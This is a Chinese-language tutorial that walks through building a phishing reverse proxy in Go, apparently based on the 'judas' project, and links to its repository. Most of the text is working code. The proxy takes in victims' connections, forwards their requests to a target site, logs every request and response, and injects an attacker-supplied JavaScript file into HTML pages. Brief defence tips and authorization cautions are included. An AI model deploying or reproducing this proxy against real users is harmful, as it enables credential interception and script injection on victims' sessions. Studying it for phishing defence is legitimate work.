在Go中使用反向代理进行网络钓鱼测试
字数 1040 2025-08-18 11:37:07
使用Go语言构建反向代理进行网络钓鱼测试
免责声明
本文仅用于教育目的,旨在帮助安全研究人员了解网络钓鱼技术原理以便更好地防御。切勿使用文中提及的技术从事任何非法活动!
技术概述
本教程介绍如何使用Go语言构建一个反向代理服务器,用于模拟网络钓鱼攻击。该代理能够:
- 拦截受害者的HTTP请求
- 修改请求头使其指向目标网站
- 捕获并可能修改响应内容
- 记录完整的请求-响应事务
核心组件
HTTPTransaction结构体
type HTTPTransaction struct {
Request *http.Request
Response *http.Response
}
该结构体表示一个完整的请求-响应流程,用于记录和后续分析。
PhishingProxy结构体
type PhishingProxy struct {
client *http.Client
targetURL *url.URL
responseTransformers []ResponseTransformer
}
主要代理结构,包含:
- HTTP客户端用于转发请求
- 目标URL
- 响应转换器数组
实现原理
主函数流程
func main() {
// 解析命令行参数等初始化工作
phishingProxy := &PhishingProxy{
client: client,
targetURL: targetURL,
responseTransformers: responseTransformers,
}
transactions := make(chan *HTTPTransaction)
go processTransactions(transactions)
for {
conn, err := server.Accept()
if err != nil {
log.Println("Error when accepting request,", err.Error())
}
go phishingProxy.HandleConnection(conn, transactions)
}
}
主函数创建代理实例,启动事务处理goroutine,并循环接受新连接,为每个连接启动单独的goroutine处理。
连接处理
func (p *PhishingProxy) HandleConnection(conn net.Conn, transactions chan *HTTPTransaction) {
defer conn.Close()
reader := bufio.NewReader(conn)
request, err := http.ReadRequest(reader)
if err != nil {
log.Println("Error parsing request:", err.Error())
return
}
// 修改请求头
request.URL.Scheme = p.targetURL.Scheme
request.URL.Host = p.targetURL.Host
request.Host = p.targetURL.Host
request.RequestURI = ""
// 转发请求
resp, err := p.client.Do(request)
if err != nil {
log.Println("Proxy error:", err.Error())
return
}
// 转换响应
for _, transformer := range p.responseTransformers {
transformer.Transform(resp)
}
// 发送修改后的响应
modifiedResponse, err := httputil.DumpResponse(resp, true)
if err != nil {
log.Println("Error converting requests to bytes:", err.Error())
return
}
_, err = conn.Write(modifiedResponse)
if err != nil {
log.Println("Error responding to victim:", err.Error())
return
}
// 记录事务
transactions <- &HTTPTransaction{
Request: request,
Response: resp,
}
}
响应转换器接口
type ResponseTransformer interface {
Transform(response *http.Response) error
}
该接口允许对响应进行任意修改,例如注入JavaScript或替换内容。
JavaScript注入实现
type JavaScriptInjectionTransformer struct {
javascriptURL string
}
func (j JavaScriptInjectionTransformer) Transform(response *http.Response) error {
if !strings.Contains(response.Header.Get("Content-Type"), "text/html") {
return nil
}
responseText, err := ioutil.ReadAll(response.Body)
responseBuffer := bytes.NewBuffer(responseText)
response.Body = ioutil.NopCloser(responseBuffer)
if err != nil {
return err
}
document, err := goquery.NewDocumentFromReader(responseBuffer)
if err != nil {
return err
}
payload := fmt.Sprintf("<script type='text/javascript' src='%s'></script>", j.javascriptURL)
selection := document.
Find("head").
AppendHtml(payload).
Parent()
html, err := selection.Html()
if err != nil {
return err
}
response.Body = ioutil.NopCloser(bytes.NewBufferString(html))
return nil
}
该转换器使用goquery库解析HTML文档,并在
标签中注入指定的JavaScript文件。防御措施
- 使用书签访问重要网站:为登录页面添加书签,避免通过链接访问
- 仔细检查URL:即使看到安全提示(如HTTPS锁图标),也要验证URL是否正确
- 谨慎点击邮件链接:对通过电子邮件收到的链接保持警惕
- 使用双因素认证:即使凭证被窃取,也能提供额外保护层
- 注意网站异常:如布局变化、功能缺失等可能表明是钓鱼网站
完整实现
完整代码可在GitHub仓库查看:
https://github.com/JonCooperWorks/judas
技术要点总结
- Go的标准库
net/http和net/http/httputil提供了强大的HTTP代理功能 - Goroutines和Channels使并发处理连接和事务变得简单高效
- 通过修改请求头可以无缝将流量重定向到目标网站
- 响应转换器提供了灵活的响应修改能力
- 这种代理可以完全透明地工作,受害者难以察觉
扩展应用
- 安全测试:用于测试Web应用对中间人攻击的抵抗力
- 内容过滤:修改为正向代理用于企业内容过滤
- 性能测试:记录和分析Web应用性能特征
- 开发调试:作为开发环境中的调试工具,拦截和修改API响应
注意事项
- 在实际安全测试中,必须获得明确授权
- 记录的用户数据必须妥善处理,遵守隐私法规
- 此类技术可能被滥用,应严格控制使用范围
- 建议在隔离的测试环境中进行实验